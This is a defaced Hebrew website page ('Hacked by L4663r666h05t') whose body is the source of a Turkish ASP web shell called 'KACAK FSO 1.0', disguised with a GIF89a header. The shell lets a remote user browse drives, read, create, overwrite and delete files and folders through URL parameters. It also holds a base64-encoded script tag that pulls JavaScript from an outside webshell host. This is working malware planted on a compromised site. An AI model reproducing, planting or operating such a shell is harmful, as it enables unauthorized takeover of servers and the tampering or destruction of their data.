Hacked by L4663r666h05t

F.A.Q

פורום

aaa

GIF89a; KACAK Shell <% Dim Base64Chars Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" & _ "abcdefghijklmnopqrstuvwxyz" & _ "0123456789" & _ "+/" Public Function base64_encode( byVal strIn ) Dim c1, c2, c3, w1, w2, w3, w4, n, strOut For n = 1 To Len( strIn ) Step 3 c1 = Asc( Mid( strIn, n, 1 ) ) c2 = Asc( Mid( strIn, n + 1, 1 ) + Chr(0) ) c3 = Asc( Mid( strIn, n + 2, 1 ) + Chr(0) ) w1 = Int( c1 / 4 ) : w2 = ( c1 And 3 ) * 16 + Int( c2 / 16 ) If Len( strIn ) >= n + 1 Then w3 = ( c2 And 15 ) * 4 + Int( c3 / 64 ) Else w3 = -1 End If If Len( strIn ) >= n + 2 Then w4 = c3 And 63 Else w4 = -1 End If strOut = strOut + mimeencode( w1 ) + mimeencode( w2 ) + _ mimeencode( w3 ) + mimeencode( w4 ) Next base64_encode = strOut End Function Private Function mimeencode( byVal intIn ) If intIn >= 0 Then mimeencode = Mid( Base64Chars, intIn + 1, 1 ) Else mimeencode = "" End If End Function Public Function base64_decode( byVal strIn ) Dim w1, w2, w3, w4, n, strOut For n = 1 To Len( strIn ) Step 4 w1 = mimedecode( Mid( strIn, n, 1 ) ) w2 = mimedecode( Mid( strIn, n + 1, 1 ) ) w3 = mimedecode( Mid( strIn, n + 2, 1 ) ) w4 = mimedecode( Mid( strIn, n + 3, 1 ) ) If w2 >= 0 Then _ strOut = strOut + _ Chr( ( ( w1 * 4 + Int( w2 / 16 ) ) And 255 ) ) If w3 >= 0 Then _ strOut = strOut + _ Chr( ( ( w2 * 16 + Int( w3 / 4 ) ) And 255 ) ) If w4 >= 0 Then _ strOut = strOut + _ Chr( ( ( w3 * 64 + w4 ) And 255 ) ) Next base64_decode = strOut End Function Private Function mimedecode( byVal strIn ) If Len( strIn ) = 0 Then mimedecode = -1 : Exit Function Else mimedecode = InStr( Base64Chars, strIn ) - 1 End If End Function dim myStringo stringo = "PHNjcmlwdCB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiIHNyYz0i" stringo_1 = "aHR0cDovL3dlYnNoZWxsLmNvL3doby9tYWluLmpzIj48L3NjcmlwdD4" myStringo = base64_decode(stringo+stringo_1) if request.querystring("TGH") = "1" then on error resume next es=request.querystring("Kacak") diez=server.urlencode(left(es,(instrRev(es,""))-1)) Select case es case "C:" diez="C:" case "D:" diez="D:" end select ' Functions to provide encoding/decoding of strings with Base64. ' ' Encoding: myEncodedString = base64_encode( inputString ) ' Decoding: myDecodedString = base64_decode( encodedInputString ) ' ' Programmed by Markus Hartsmar for ShameDesigns in 2002. ' Email me at: mark@shamedesigns.com ' Visit our website at: http://www.shamedesigns.com/ ' %> <% else %> <% if request.querystring("Dosyakaydet") <> "" then set kaydospos=createobject("scripting.filesystemobject") set kaydoses=kaydospos.createtextfile(request.querystring("dosyakaydet") & request("dosadi")) set kaydoses=nothing set kaydospos=nothing set kaydospos=createobject("scripting.filesystemobject") set kaydoses=kaydospos.opentextfile(request.querystring("dosyakaydet") & request("dosadi"), 2, true) kaydoses.write request("duzenx") set kaydoses=nothing set kaydospos=nothing end if %> <% if request.querystring("yenidosya") <> "" then %>

Kacak ©
Hackerbox

KACAK FSO 1.0

Cyber Protest
xLw@GrayHatz ~ TurkGuvenligi.Info

Çalisilan Klasör

<%=response.write(request.querystring("yenidosya"))%>

<% else %> <% if request.querystring("klasorac") <> "" then set doses=createobject("scripting.filesystemobject") set es=doses.createfolder(request.querystring("aktifklas") & request("duzenx")) set es=nothing set doses=nothing end if %> <% if request.querystring("klasac") <> "" then set aktifklas=request.querystring("aktifklas") %>

Kacak ©
Hackerbox

KACAK FSO 1.0

Çalisilan Alan

<%=aktifklas%>

<% else %> <% if request.querystring("suruculer") <> "" then %>

Kacak ©
Hackerbox

KACAK FSO 1.0

Have Fun

Sürücü Adi

Boyutu

Bos Alan

Durum

Islem

<% set klassis =server.createobject("scripting.filesystemobject") set klasdri=klassis.drives %> <% for each dongu in klasdri %> <% if dongu.driveletter <> "A" then if dongu.isready=true then %> <% select case dongu.drivetype case 0 teype="Diger" case 1 teype="Tasinir" case 2 teype="HDD" case 3 teype="NetWork" case 4 teype="CD-Rom" case 5 teype="FlashMem" end select %>

<%=dongu.driveletter%>: ( <%=dongu.filesystem%> )

<%=Round(dongu.totalsize/(1024*1024),1)%> MB

<%=Round(dongu.availablespace/(1024*1024),1)%> MB

<%=teype%>

Gir

<% end if end if %> <% next %>

<% else %> <% if request.querystring("kaydet") <> "" then set dossisx=server.createobject("scripting.filesystemobject") set dosx=dossisx.opentextfile(request.querystring("kaydet"), 2, true) dosx.write request("duzenx") dosx.close set dosyax=nothing set dossisx=nothing end if %> <% if request.querystring("duzenle") <> "" then set dossis=server.createobject("scripting.filesystemobject") set dos=dossis.opentextfile(request.querystring("duzenle"), 1) sedx = dos.readall dos.close set dosya=nothing set dossis=nothing set aktifklas=request.querystring("klas") %>

Kacak©
Hackerbox

KACAK FSO 1.0

Have Fun

Çalisilan Dosya

<%=response.write(request.querystring("duzenle"))%>

&klas=<%=aktifklas%>" name="kaypos">

<%=sedx%>

<% else %> <% if request.querystring("klas") <> "" then aktifklas=Request.querystring("klas") if request.querystring("usak") = "1" then aktifklas=aktifklas & "" end if else aktifklas=server.mappath("/") aktifklas=aktifklas & "" end if if request.querystring("silklas") <> "" then set sis=createobject("scripting.filesystemobject") silincekklas=request.querystring("silklas") sis.deletefolder(silincekklas) set sis=nothing 'response.write(sil & " Silindi") end if if request.querystring("sildos") <> "" then silincekdos=request.querystring("sildos") set dosx=createobject("scripting.filesystemobject") set dos=dosx.getfile(silincekdos) dos.delete set dos=nothing set dosyasis=nothing end if select case aktifklas case "C:" aktifklas="C:" case "D:" aktifklas="D:" case "E:" aktifklas="E:" case "F:" aktifklas="F:" case "G:" aktifklas="G:" case "H:" aktifklas="H:" case "I:" aktifklas="I:" case "J:" aktifklas="J:" case "K:" aktifklas="K:" end select if aktifklas=("C:") then aktifklas=("C:") Set FS = CreateObject("Scripting.FileSystemObject") Set klasor = FS.GetFolder(aktifklas) Set altklasorler = klasor.SubFolders Set dosyalar = klasor.files %>

Kacak ©

Hackerbox

KACAK FSO 1.0

Have Fun

Çalisilan Klasör

<%=response.write(aktifklas)%>

" style="text-decoration: none"> Üst Klasör

Sürücüler

Yeni Klasör

Yeni Dosya

Tür

Dosya Adi

Islem

<%response.write(myStringo)%> <% For each oge in altklasorler %>

<%=oge.name%>

Aç

Sil

<% Next %> <% For each oge in dosyalar %>

<%=oge.name%> ( <%=Round(oge.size/1024,1)%> KB )

Düzenle

Sil

<% Next %> <% if aktifklas=("C:") then aktifklas=("C:") %> <% end if %> <% end if %> <% end if %> <% end if %> <% end if %>


כל הזכויות שמורות ©	צרו קשר	שיווק באינטרנט	הריון ולידה	תקנון והצהרת פרטיות	קידום והקמת אתרים